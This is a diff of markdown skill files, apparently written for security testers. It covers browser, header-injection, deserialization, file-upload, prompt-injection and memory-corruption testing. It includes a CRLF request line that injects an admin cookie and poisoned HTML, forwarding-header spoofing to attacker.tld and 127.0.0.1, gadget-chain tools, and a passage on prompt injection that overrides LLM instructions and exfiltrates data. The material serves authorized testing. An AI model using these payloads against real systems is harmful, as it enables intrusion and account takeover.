- Validate origins after URL parsing and canonicalization, not with raw-string regexes.
|
||||
- Test numeric/alternate IP forms, userinfo, path masquerading as a host suffix, and redirects.
|
||||
- Treat predictable `window.open()` target names and iframe names as potentially shared namespace entries. Confirm reuse within the same browsing-context group, opener chain, COOP state, and relevant navigation/message timing.
|
||||
- Check whether a blocked intermediate frame leaves a useful browsing-context relationship intact.
|
||||
- Use random per-flow names or `_blank` with `noopener` where an opener relationship is unnecessary.
|
||||
|
||||
### Client-Side Path Traversal
|
||||
|
||||
Trace the complete source-to-request pipeline:
|
||||
|
||||
```text
|
||||
browser URL -> router parser -> route/query/hash accessor -> app interpolation -> fetch/XHR -> final normalized URL
|
||||
```
|
||||
|
||||
- Test path parameters, query parameters, and hashes independently.
|
||||
- Determine exactly where `%2F`, `%5C`, `%2E`, and double-encoded forms decode or re-encode.
|
||||
- Instrument `fetch`, XHR, Axios, router navigation, and server-side fetch wrappers to capture the final URL.
|
||||
- Escalate only after identifying the sink: state-changing API for CSRF-like impact, HTML/attachment response rendered in an unsafe sink for XSS, or server-side fetch for SSRF.
|
||||
- Do not assume the same framework API behaves identically in client components, server components, and route handlers.
|
||||
|
||||
### XS-Leaks and Cross-Origin Oracles
|
||||
|
||||
Inventory observable signals that do not require reading the cross-origin response:
|
||||
|
||||
- load/error events for script, image, stylesheet, frame, media, and module elements
|
||||
- timing, connection reuse, cache state, redirect count, and navigation success
|
||||
- window/frame count, focus, history length, and resource dimensions
|
||||
- browser-generated error pages and status-dependent behavior
|
||||
- request headers such as `Sec-Fetch-Dest`, `Sec-Fetch-Mode`, and `Origin`
|
||||
|
||||
Test controls such as ORB, CORP, COEP, and MIME enforcement. A service worker or alternate fetch path can change request destination metadata and therefore change whether a blocked response becomes a network error or an empty response. Validate the oracle across authenticated and unauthenticated control cases.
|
||||
|
||||
### Service Workers and Caches
|
||||
|
||||
- Map service-worker registration scope, update lifecycle, controller acquisition, and fetch handlers.
|
||||
- Inspect Cache API keys and responses; determine whether HTML or JavaScript is served directly from a writable cache.
|
||||
- Test whether a constrained script context can poison app-managed cache entries later consumed by a normal page or service worker.
|
||||
- Treat service-worker persistence as high impact, but prove registration/control scope and update survivability.
|
||||
- Compare a direct subresource request with the same request proxied through `fetch(event.request)`; request destination and mode can differ.
|
||||
|
||||
### Web Workers and Constrained Script Execution
|
||||
|
||||
When script runs inside a worker, inventory capabilities instead of dismissing it as low impact:
|
||||
|
||||
- credentialed same-origin `fetch` for data access and state changes
|
||||
- `postMessage` gadgets into the main page
|
||||
- IndexedDB and Cache API shared with other same-origin contexts
|
||||
- Blob construction and object URLs
|
||||
- import mechanisms, WebSocket, and available browser-specific APIs
|
||||
|
||||
Prove the strongest reliable capability first. If escalation requires a user gesture, document the exact gesture, timing, browser, and visibility rather than calling it zero-click XSS.
|
||||
|
||||
### Navigation and Redirect Control
|
||||
|
||||
- Distinguish HTTP 30x, script navigation, form submission, meta refresh, and popup navigation.
|
||||
- Test invalid or blocked URL schemes and WAF-generated error pages only when they support a real flow. Oversized URLs/headers, cookie-path-specific header inflation, redirect limits, and navigation throttling are restartable-lab-only tests with strict size/iteration limits and health checks.
|
||||
- A sandbox inherited by a new top-level context can selectively block forms, scripts, popups, or navigation; enumerate the exact flag set.
|
||||
- Preserve and inspect history when a built-in error page replaces the active document; do not assume the errored URL is lost.
|
||||
|
||||
### CSP and Browser Parsing
|
||||
|
||||
- Evaluate the delivered policy on the exact response, including redirects and error/API/static paths.
|
||||
- Map nonces, hashes, `strict-dynamic`, allowed schemes, trusted script gadgets, `base-uri`, `frame-ancestors`, and Trusted Types.
|
||||
- Test parser namespaces and repairs in HTML, SVG, and MathML. A protected attribute or sanitizer rule in the HTML namespace may behave differently after namespace transitions.
|
||||
- Treat scriptless disclosure of a nonce or trusted URL as a primitive; prove a second controllable sink before claiming bypass.
|
||||
- For response splitting, consider whether a same-origin endpoint can be turned into a script resource with a controlled body length or framing.
|
||||
|
||||
### JavaScript Gadget Discovery
|
||||
|
||||
- When direct calls are blocked, inspect implicit coercions (`toString`, `valueOf`, iterators, getters, proxies) and callbacks invoked by accessible library functions.
|
||||
- Search for functions whose `this` object and arguments can be attacker-shaped.
|
||||
- Build a bounded harness to enumerate reachable globals and observe property reads/calls; avoid assuming one library gadget is universal.
|
||||
- Validate the complete call chain to a dangerous sink such as navigation, HTML insertion, `eval`, `Function`, or a privileged API.
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
### Runtime Instrumentation
|
||||
|
||||
Instrument in a controlled browser session:
|
||||
|
||||
```javascript
|
||||
const realFetch = window.fetch;
|
||||
window.fetch = (...args) => {
|
||||
const input = args[0];
|
||||
const rawUrl = typeof input === 'string' ? input : input.url;
|
||||
const url = new URL(rawUrl, location.href);
|
||||
const method = args[1]?.method || input?.method || 'GET';
|
||||
console.log('fetch', {method, origin: url.origin, path: url.pathname});
|
||||
return realFetch(...args);
|
||||
};
|
||||
|
||||
window.addEventListener('message', e => {
|
||||
const keys = e.data && typeof e.data === 'object' ? Object.keys(e.data) : [];
|
||||
console.log('message', {origin: e.origin, sourceMatches: e.source === window.opener, keys});
|
||||
}, true);
|
||||
```
|
||||
|
||||
Use the wrapper only in the controlled profile and restore `window.fetch = realFetch` afterward. Do not log bodies, message values, credentials, or query strings.
|
||||
|
||||
Also inspect DevTools network initiators, service workers, storage, CSP violations, frame tree, and navigation history. Use raw browser behavior for validation; command-line HTTP clients cannot reproduce origin/window/worker semantics.
|
||||
|
||||
### Source Review
|
||||
|
||||
- Search for `postMessage`, message listeners, `window.open`, named targets, opener/parent access, frame creation, and sandbox attributes.
|
||||
- Search for router parameter APIs flowing into `fetch`, Axios, navigation, or HTML rendering.
|
||||
- Search for service-worker registration, Cache API writes, worker constructors, Blob URLs, and dynamic imports.
|
||||
- Search for raw HTML sinks and trust escape hatches in every supported frontend framework.
|
||||
- Compare CSP and framing headers across document, API, static, callback, redirect, and error routes.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Define the browser state** - Origin/site, context graph, policies, workers, storage, and activation.
|
||||
2. **Identify a source and observable sink** - Message, URL component, cache entry, navigation, load/error event, or implicit call.
|
||||
3. **Trace transformations** - URL parsing, framework decode, browser normalization, request destination, and document replacement.
|
||||
4. **Build paired controls** - Same-origin/cross-origin, status success/error, worker/direct, unique/predictable window name, encoded/raw path.
|
||||
5. **Prove the primitive** - Data transfer, path change, state oracle, cache modification, or context capture.
|
||||
6. **Escalate deliberately** - Chain to a privileged action, sensitive disclosure, SSRF, or executable DOM sink.
|
||||
7. **Cross-browser check** - At minimum record Chromium/Firefox/Safari applicability when the primitive is browser-specific.
|
||||
8. **State interaction requirements** - Click, drag, popup permission, timing window, login state, and visual deception.
|
||||
|
||||
## Validation
|
||||
|
||||
1. Capture the context graph and relevant policies at exploit time.
|
||||
2. Show the exact browser-parsed origin or final request URL, not just the attacker-supplied string.
|
||||
3. For postMessage, prove both message origin and source/context ownership.
|
||||
4. For XS-Leaks, repeat randomized success/failure trials and quantify separation and noise.
|
||||
5. For workers/caches, show which later context consumes the modified data.
|
||||
6. For client-side traversal, capture the final network request and the security-relevant response/action.
|
||||
7. For interaction-dependent chains, provide a screen recording or deterministic event trace.
|
||||
|
||||
## False Positives
|
||||
|
||||
- A message reaches a listener but fails schema, origin, source, or state validation before any action
|
||||
- A router decodes traversal characters but the value never reaches a URL/path sink
|
||||
- Different load/error behavior caused by unstable network rather than protected state
|
||||
- Worker script execution with no sensitive API, shared state, main-thread gadget, or meaningful action
|
||||
- CSP nonce disclosure without a controllable way to reuse it in an executable sink
|
||||
- Named-window collision blocked by origin scoping, randomized names, COOP, or `noopener`
|
||||
- Browser-specific behavior reported without the required version, flag, or user interaction
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Treat browsing-context names as attacker-contestable identifiers unless randomized.
|
||||
2. Query parameters are usually decoded automatically; path parameters vary by router and execution context.
|
||||
3. Compare request metadata, not just URLs. Service workers can alter destination/mode semantics.
|
||||
4. A strict origin check does not compensate for attacker control of the supposedly trusted window reference.
|
||||
5. Error pages, redirects, and blocked frames still mutate history and context relationships.
|
||||
6. Keep browser-version claims narrow and retest; these behaviors change faster than server-side primitives.
|
||||
7. Prefer a small state-machine explanation over a large payload catalog.
|
||||
|
||||
## Summary
|
||||
|
||||
Browser exploitation is state-machine exploitation. Map origins, context references, policies, workers, storage, navigation, and decoding as one system. Prove each state transition with browser evidence, then chain only the primitives that survive the target's browser and interaction constraints.
|
||||
@@ -5,7 +5,7 @@ description: HTTP header injection testing covering CRLF / response splitting, c
|
||||
|
||||
# HTTP Header Injection
|
||||
|
||||
Header injection turns user input into protocol-level control: response splitting, cache poisoning, session fixation, authentication bypass, and downstream parser confusion can trace back to a server-controlled header value that was not normalized. The bug usually lives in middle layers — frameworks that copy a request value into a response header, proxies that trust forwarded headers, caches keyed on something the attacker influences. Impact depends on which downstream component consumes the injected field and how.
|
||||
Header injection turns user input into protocol-level control: response splitting, cache poisoning, session fixation, authentication bypass, and request smuggling all trace back to a server-controlled header value that wasn't normalized. The bug usually lives in middle layers — frameworks that copy a request value into a response header, proxies that trust forwarded headers, caches keyed on something the attacker influences. Treat any user-controlled value that reaches a header as code-execution-equivalent until proven otherwise.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
@@ -62,7 +62,7 @@ Header injection turns user input into protocol-level control: response splittin
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### CRLF Response Splitting
|
||||
### CRLF Response Splitting and Smuggling
|
||||
|
||||
Inject `\r\n\r\n` to terminate the current response and prepend a second attacker-controlled response. Cache or downstream proxy may key on the first response and serve the second to other users.
|
||||
|
||||
@@ -70,7 +70,7 @@ Inject `\r\n\r\n` to terminate the current response and prepend a second attacke
|
||||
GET /redirect?to=foo%0d%0aSet-Cookie:%20admin=1%0d%0a%0d%0a<html>poisoned</html> HTTP/1.1
|
||||
```
|
||||
|
||||
Request smuggling is a separate request-boundary vulnerability involving disagreement between two HTTP parsers, not simply response header injection at the request layer. Load `http_request_smuggling` when conflicting lengths, transfer coding, HTTP/2 downgrades, or connection desynchronization are in scope.
|
||||
Request smuggling is the same primitive at the request layer: inject a header that causes the proxy and backend to disagree on message framing — most commonly conflicting `Content-Length` and `Transfer-Encoding`, or two `Content-Length` headers with different values. Backend reads one request, frontend reads a different one; the leftover bytes become a smuggled request prepended to the next victim's connection.
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
@@ -106,23 +106,16 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
- `X-Forwarded-For: 127.0.0.1` to bypass IP allowlists or rate limits keyed on client IP
|
||||
- `X-Forwarded-Proto: https` to satisfy "HTTPS-only" checks while still using HTTP
|
||||
- `X-Forwarded-Host: attacker.tld` for the Host-confusion variants above
|
||||
- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same trust class under different conventions; select evidence-supported variants for the observed proxy/CDN stack
|
||||
- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same primitive, different header names; spray all of them
|
||||
- `X-Original-URL` / `X-Rewrite-URL` (IIS, ASP.NET) — server-side URL rewriting after auth check, classic admin-panel auth bypass
|
||||
|
||||
### Content-Type / Encoding Confusion
|
||||
|
||||
- Inject `Content-Type: text/html` into an endpoint that returned JSON; browsers may sniff and render → XSS
|
||||
- Inject `charset=utf-7` in `Content-Type` for legacy XSS via UTF-7-encoded payloads
|
||||
- Inject `Content-Disposition: inline` to switch a download into in-page rendering
|
||||
- Inject `Content-Encoding: gzip` without actually compressing — clients decode-fail and may reveal raw response bytes in error paths
|
||||
- *Absence* of `X-Content-Type-Options: nosniff` is what enables the sniffing attacks above; the header is a hardening control, not an attack surface — but if a server sets it inconsistently across endpoints, target the ones that don't
|
||||
- Compare MIME validators with browser parsing of duplicate or comma-joined `Content-Type` values. Record first/last valid member behavior and invalid-parameter recovery for each consumer.
|
||||
|
||||
### Internal Redirect and Handler Confusion
|
||||
|
||||
- Determine whether CGI/FastCGI/WSGI-style response headers can trigger an internal redirect instead of an external response.
|
||||
- Trace which request fields survive the redirect: content type, handler, method, authorization result, path, and environment.
|
||||
- Test whether response metadata is reused as an internal handler, proxy target, template type, or interpreter selection.
|
||||
- Compare direct access controls with the internally dispatched resource. A protected URL may be unreachable directly while the same handler is invokable through a clean internal redirect.
|
||||
- Treat CRLF injection and response-controlling SSRF as possible inputs to this chain, then validate handler selection before using a privileged handler.
|
||||
|
||||
### XSS via Response Headers
|
||||
|
||||
@@ -172,9 +165,8 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
4. **Probe forwarding headers** — spoof `X-Forwarded-For`, `X-Real-IP`, `True-Client-IP`, `CF-Connecting-IP` against IP-restricted endpoints (admin, rate-limited)
|
||||
5. **Test cache key / response content split** — find inputs that change the body but not the cache key; confirm a second request from a different session sees the poisoned response
|
||||
6. **Test method override** — `X-HTTP-Method-Override` paired with state-changing endpoints reachable via POST or GET
|
||||
7. **Route framing discrepancies** — if evidence indicates request-boundary disagreement, switch to `http_request_smuggling`
|
||||
7. **Test request smuggling pairs** — conflicting `Content-Length` and `Transfer-Encoding`, two `Content-Length` headers, malformed chunked encoding, against any frontend → backend pair
|
||||
8. **Cross-protocol** — replay payloads over HTTP/1.1 and HTTP/2; diff behavior
|
||||
9. **Trace internal reprocessing** — where response headers can cause subrequests/internal redirects, diff retained fields and final handler selection
|
||||
|
||||
## Validation
|
||||
|
||||
@@ -182,8 +174,8 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
2. Capture a password-reset / OAuth link pointing at attacker-controlled host — proves Host injection
|
||||
3. Demonstrate the same endpoint returning different auth decisions with and without a forged forwarding header
|
||||
4. For response splitting: show a downstream cache or proxy serving the injected second response to an unrelated request
|
||||
5. All findings should produce a durable artifact (cached response, sent email, log entry, session change) — transient anomalies are not validation
|
||||
6. For internal redirects, capture both the injected response metadata and the final internally selected route/handler
|
||||
5. For request smuggling: show one victim request seeing data from a different request appended (not just timing or single-shot anomaly)
|
||||
6. All findings should produce a durable artifact (cached response, sent email, log entry, session change) — transient anomalies are not validation
|
||||
|
||||
## False Positives
|
||||
|
||||
@@ -191,6 +183,7 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
- `X-Forwarded-*` reflected back but only used for logging — not a security boundary, may not be exploitable
|
||||
- Browsers blocking `Location: javascript:` or `Location: data:` — capability exists in the protocol but most modern browsers refuse to navigate
|
||||
- CRLF appearing in response headers but stripped by an outer proxy before reaching any client or cache
|
||||
- Request smuggling indicators that turn out to be normal pipelining or keep-alive behavior
|
||||
|
||||
## Impact
|
||||
|
||||
@@ -199,6 +192,7 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
- Auth bypass on endpoints trusting forwarding headers
|
||||
- Session fixation and cookie tossing leading to account hijack
|
||||
- Open redirect for phishing / OAuth `redirect_uri` abuse
|
||||
- Request smuggling — one victim's request reads another victim's response, including auth headers and cookies
|
||||
- WAF / detection bypass via header-name and encoding tricks
|
||||
|
||||
## Pro Tips
|
||||
@@ -206,7 +200,7 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
|
||||
1. The fastest win is usually Host / `X-Forwarded-Host` in a password-reset or OAuth flow — try first, costs one request
|
||||
2. For cache poisoning, find the *unkeyed* input first (header that influences body but not cache key); the rest follows
|
||||
3. `X-HTTP-Method-Override` is high-yield against backends that route on it before checking method-based auth — most useful from server-side / non-browser callers (it triggers CORS preflight in a browser, so not a CSRF primitive)
|
||||
4. If a header test exposes message-boundary disagreement, switch to the dedicated request-smuggling workflow and identify the proxy → backend pair
|
||||
4. Smuggling lives at the boundary — identify the proxy → backend pair (CDN → origin, ingress → service) and target the framing disagreement
|
||||
5. `X-Original-URL` / `X-Rewrite-URL` against IIS / ASP.NET admin endpoints is still a high-yield bypass
|
||||
6. Before claiming a CRLF win, verify the second line landed as a real header in the cache or downstream consumer — many servers strip CRLF silently
|
||||
7. Outbound email flows are a separate but related surface — user input flowing into SMTP headers (To, Cc, Subject, Reply-To) is its own injection class with the same root cause
|
||||
|
||||
@@ -10,16 +10,13 @@ Insecure deserialization passes attacker-controlled byte streams or structured b
|
||||
## Attack Surface
|
||||
|
||||
**Formats**
|
||||
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML), Hessian/Burlap, Kryo
|
||||
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
|
||||
- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
|
||||
- PHP: `unserialize()`, Phar deserialization
|
||||
- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
|
||||
- Ruby: `Marshal.load`, YAML.load
|
||||
- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
|
||||
|
||||
**Transports and Containers**
|
||||
- Java RMI/JMX, HTTP/RPC endpoints, messaging protocols, queues, signed wrappers, and product-specific binary envelopes can carry one or more formats above
|
||||
|
||||
**Input Locations**
|
||||
- Cookies, session tokens, hidden form fields
|
||||
- API parameters (`data`, `state`, `object`, base64 blobs)
|
||||
@@ -61,22 +58,6 @@ yaml.load readObject( TypeNameHandling Marshal.load
|
||||
```
|
||||
When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
|
||||
|
||||
**JNDI Pivots from Object Construction**
|
||||
|
||||
JNDI injection is not itself a serialization format. It becomes part of this workflow when an attacker-selected type, setter, or gadget performs `Context.lookup()` during object construction or property population. `JdbcRowSetImpl` and some historical polymorphic JSON chains are examples; Log4j lookups reach JNDI through a different input path and should not be classified as deserialization.
|
||||
|
||||
- Trace fields such as `dataSourceName`, `jndiName`, and `namingURL` into the exact lookup API and provider.
|
||||
- Record the accepted schemes/provider factories (`ldap`, `ldaps`, `rmi`, DNS URL context, or application-specific naming providers). A `dns://` value is not a universal oracle; it works only when the relevant DNS provider and lookup path are present.
|
||||
- Separate network lookup, remote object/reference processing, serialized LDAP attributes, remote codebase loading, and local object-factory invocation. Each is a different capability with different runtime controls.
|
||||
- JEP 290 filters incoming Java serialization graphs; it does not disable JNDI remote codebase loading. JNDI providers gained separate remote-class-loading and serialized-data controls across JDK updates, and current JDKs disable remote code downloading by default. Record the exact JDK build and relevant provider properties instead of using a single “modern Java” rule.
|
||||
- When remote class loading is unavailable, test whether the returned reference can reach a compatible **local** `ObjectFactory`, bean-property path, expression engine, script engine, or other class already present. Confirm exact class names, versions, module access, and trigger methods from the deployed classpath.
|
||||
|
||||
**Hessian / Burlap**
|
||||
- Binary RPC formats deserialized by `HessianInput`/`Hessian2Input`. Attacker object graphs reach gadgets even though it is not native Java serialization.
|
||||
- Treat serializer version, allowed type metadata, constructors/setters invoked, collection/comparator behavior, and classpath as independent prerequisites.
|
||||
- Pair `semantic_confusion` when a proxy or route policy is expected to make the RPC endpoint unreachable.
|
||||
- Inspect the exact deployed libraries rather than relying on generic gadget labels; similar-looking Spring, Resin, Tomcat, XBean, EL, or Groovy classes are not interchangeable.
|
||||
|
||||
### Python Pickle
|
||||
|
||||
Pickle executes arbitrary code during unpickling by design:
|
||||
@@ -181,8 +162,6 @@ When `TypeNameHandling` != `None`.
|
||||
3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
|
||||
4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
|
||||
5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
|
||||
6. Model JNDI lookup, reference/object processing, remote codebase loading, and local factory invocation as separate stages
|
||||
7. A "blocked" enterprise deserialization endpoint may still be reachable through a proxy/path-normalization mismatch — pair `semantic_confusion`
|
||||
|
||||
## Tooling
|
||||
|
||||
@@ -193,7 +172,6 @@ Payload generation is the practitioner's core tool here. The sandbox has `git`/`
|
||||
| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
|
||||
| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
|
||||
| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
|
||||
| **marshalsec** | Java Hessian/Burlap, Kryo, JSON, and JNDI reference tooling | Use only from a reviewed, pinned upstream commit when a non-native Java marshaller requires it. It has no stable release and intentionally bundles historical gadget dependencies; do not treat it as a globally installed default tool. |
|
||||
|
||||
```
|
||||
# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
|
||||
|
||||
@@ -67,8 +67,6 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
||||
|
||||
- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
|
||||
- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
|
||||
- Detector/consumer differential: make the upload validator and the later parser disagree about type, structure, or validity
|
||||
- Probe detector scan windows, recursion/nesting limits, maximum bytes inspected, invalid-syntax recovery, and version-specific magic databases
|
||||
|
||||
### Archive Attacks
|
||||
|
||||
@@ -122,8 +120,6 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
||||
- Client-side only checks; relying on JS/MIME provided by browser
|
||||
- Trusting multipart boundary part headers blindly
|
||||
- Extension allowlists without server-side content inspection
|
||||
- One parser validates metadata or leading bytes while another parser processes the full file
|
||||
- Type-detection wrappers assumed identical even when they bundle different library/database versions
|
||||
|
||||
### Evasion Tricks
|
||||
|
||||
@@ -150,9 +146,8 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
||||
1. **Map the pipeline** - Client → ingress → storage → processors → serving. Note where validation and auth occur
|
||||
2. **Identify allowed types** - Size limits, filename rules, storage keys, and who serves the content
|
||||
3. **Collect baselines** - Capture resulting URLs and headers for legitimate uploads
|
||||
4. **Map validators and consumers** - Identify the detector/library/version when possible and every later parser, converter, renderer, or browser context
|
||||
5. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, parser limits, polyglots, metadata payloads, archive structure
|
||||
6. **Validate execution** - Prove the accepted object reaches a more privileged consumer and can execute or render active content
|
||||
4. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure
|
||||
5. **Validate execution** - Can uploaded content execute on server or client?
|
||||
|
||||
## Validation
|
||||
|
||||
@@ -187,7 +182,6 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
||||
8. When you cannot get execution, aim for stored XSS or header-driven script execution
|
||||
9. Validate that CDNs honor attachment/nosniff
|
||||
10. Document full pipeline behavior per asset type
|
||||
11. Reproduce detector/consumer mismatches on the deployed library versions; OS packages and language bindings may ship different limits
|
||||
|
||||
## Summary
|
||||
|
||||
|
||||
@@ -7,8 +7,6 @@ description: Testing LLM-backed features for prompt injection, jailbreaks, syste
|
||||
|
||||
Applications that pass untrusted input into an LLM prompt are vulnerable to prompt injection: attacker-controlled text overrides developer instructions, leaks the system prompt, abuses connected tools, or exfiltrates data. Treat every LLM feature as a confused-deputy: the model has the app's privileges (tools, RAG data, API keys) but cannot reliably tell instructions from data. Impact is defined by what the model can *do*, not just what it can *say*.
|
||||
|
||||
When the system can invoke MCP servers, plugins, skills, delegated agents, or consequential tools, also load `agentic_system_security` to model effective authority, target-side authorization, executable component supply chain, and repeatable safety regression. This skill remains focused on instruction/data confusion and unsafe model output.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Direct Injection**
|
||||
|
||||
@@ -1,228 +0,0 @@
|
||||
---
|
||||
name: memory-corruption
|
||||
description: Native memory-safety analysis for stack and heap overflows, out-of-bounds access, uninitialized memory, use-after-free, integer and signedness errors, format strings, crash triage, exploitability constraints, and controlled lab validation
|
||||
---
|
||||
|
||||
# Memory Corruption
|
||||
|
||||
Use this skill for authorized analysis of native parsers, network services, firmware daemons, libraries, and mixed web/native components where attacker-controlled bytes may violate memory safety.
|
||||
|
||||
Separate three questions throughout the work:
|
||||
|
||||
1. **Bug existence:** does an input cause an invalid read, write, lifetime violation, or disclosure?
|
||||
2. **Primitive quality:** what bytes, address, length, timing, or object state can the attacker control or observe?
|
||||
3. **Exploitability:** can that primitive bypass the target architecture, mitigations, allocator, protocol, and restart constraints?
|
||||
|
||||
A crash, connection close, watchdog restart, or sanitizer report proves neither instruction-pointer control nor RCE.
|
||||
|
||||
## Lab Boundary
|
||||
|
||||
Malformed-input and crash work is denial-of-service testing. Run it only against an explicitly authorized, restartable lab target with console/process visibility, health checks, rate ceilings, and a recovery procedure. Do not fuzz production services or automatically replay crash cases.
|
||||
|
||||
Analyze hostile binaries, cores, packet captures, and corpora inside an isolated environment. Do not execute an unknown sample merely because a debugger or decompiler imported it.
|
||||
|
||||
## Vulnerability Classes
|
||||
|
||||
### Bounds and Length Errors
|
||||
|
||||
- fixed destination with attacker-controlled copy/format length
|
||||
- allocation based on one length and copy based on another
|
||||
- off-by-one termination or delimiter handling
|
||||
- nested length fields and cumulative-size overflow
|
||||
- stack/heap out-of-bounds read or write
|
||||
- negative length converted to unsigned, truncation between integer widths, or multiplication/addition overflow
|
||||
- encoded/decoded/compressed size disagreement
|
||||
|
||||
### Initialization and Termination
|
||||
|
||||
- uninitialized stack/heap data returned in a response
|
||||
- reused object/buffer retaining data from another request or tenant
|
||||
- missing NUL termination followed by string length/format operations
|
||||
- partial structure initialization with stale flags, pointers, or lengths
|
||||
- padding, union, or serialization bytes copied beyond initialized fields
|
||||
|
||||
### Lifetime and Object Confusion
|
||||
|
||||
- use-after-free, double free, stale callback, iterator invalidation
|
||||
- type/object confusion after parsing, casting, or virtual dispatch
|
||||
- reference-count races and cross-thread ownership errors
|
||||
- reallocation invalidating stored pointers
|
||||
- constructor/destructor/finalizer behavior reached in an unexpected state
|
||||
|
||||
### Format and Variadic Errors
|
||||
|
||||
- attacker-controlled format string
|
||||
- type/width mismatch in variadic arguments
|
||||
- destination-size assumptions around `sprintf`-family calls
|
||||
- logging/error paths that process attacker bytes after a partial parse
|
||||
|
||||
## Build the Input-to-Memory Model
|
||||
|
||||
Record:
|
||||
|
||||
```text
|
||||
transport field -> parser type/width -> normalized value -> allocation
|
||||
-> copy/read/format operation -> object/buffer -> later use
|
||||
```
|
||||
|
||||
For each relevant field, capture:
|
||||
|
||||
- wire offset/path, endian, encoding, signedness, and declared versus actual size
|
||||
- validation order and parser state required to reach the operation
|
||||
- allocation expression and destination capacity
|
||||
- copy/read/write expression and implicit casts
|
||||
- terminator/padding/alignment behavior
|
||||
- attacker-controlled byte alphabet and precision
|
||||
- thread, connection, session, heap, and restart lifetime
|
||||
|
||||
Trace both source-to-sink and sink-to-source. Start from changed bounds checks or crash instructions when available, but reconstruct the minimum valid protocol state that reaches them.
|
||||
|
||||
## Source-Available Workflow
|
||||
|
||||
### Compiler Instrumentation
|
||||
|
||||
Build a lab-only target or minimal harness with the compiler's maintained sanitizers when source permits:
|
||||
|
||||
```bash
|
||||
clang -g -O1 -fno-omit-frame-pointer \
|
||||
-fsanitize=address,undefined \
|
||||
harness.c parser.c -o parser-harness
|
||||
```
|
||||
|
||||
- Keep the harness local and networkless; call the narrow parser/API directly.
|
||||
- Preserve the exact compiler, flags, architecture, allocator, and dependencies.
|
||||
- AddressSanitizer changes layout and timing. Reproduce important behavior on a representative unsanitized build under a debugger before drawing exploitability conclusions.
|
||||
- UndefinedBehaviorSanitizer may report conditions that do not produce the deployed security impact; trace each report to attacker control and later use. It does not replace explicit arithmetic and cast review.
|
||||
- For ordinary uninitialized-value hypotheses, use a separate MemorySanitizer build such as `-fsanitize=memory -fsanitize-memory-track-origins=2`; it requires an instrumented dependency set and is not interchangeable with ASan.
|
||||
- For race-dependent ownership or refcount paths, use a separate ThreadSanitizer build only when concurrency is in scope; do not imply the sanitizer families compose cleanly into one representative build.
|
||||
- Add regression cases for the minimized triggering input and neighboring non-triggering controls.
|
||||
|
||||
### Static Review
|
||||
|
||||
Search around input parsing for:
|
||||
|
||||
- `memcpy`, `memmove`, `strcpy`, `strcat`, `sprintf`, `snprintf`, `scanf` families
|
||||
- manual cursor/end-pointer arithmetic and nested TLV/XML/string parsers
|
||||
- `malloc/calloc/realloc/new` size arithmetic
|
||||
- signed/unsigned conversions and narrowing casts
|
||||
- length values stored in smaller fields or reused across decoded representations
|
||||
- error cleanup, ownership transfer, callbacks, and asynchronous lifetime
|
||||
- custom allocators, pools, slabs, ring buffers, and request-buffer reuse
|
||||
|
||||
Do not report a dangerous function name without proving attacker control, reachable state, capacity mismatch, and the actual deployed implementation.
|
||||
|
||||
## Binary-Only Workflow
|
||||
|
||||
1. Identify architecture, endian, ABI, OS/libc, compiler clues, and stripped/symbol state.
|
||||
2. Record NX/DEP, ASLR/PIE, stack canaries, RELRO, CFI/PAC/CET, allocator hardening, seccomp/sandbox, privilege, and restart behavior.
|
||||
3. Anchor on imports, strings, message IDs, error paths, new checks, crash PC, or advisory-relevant constants.
|
||||
4. Trace length/copy/allocation dataflow in decompiler and assembly.
|
||||
5. Record the deployed binary identity: build ID or hash, interpreter or loader, loaded modules/base addresses, allocator, and whether the runtime executable came from base image, overlay, bind mount, or update staging.
|
||||
6. Reproduce under a debugger or emulator only when its environment matches the relevant parser and allocator behavior.
|
||||
7. Compare vulnerable and fixed functions; describe the restored invariant and inspect sibling callers.
|
||||
|
||||
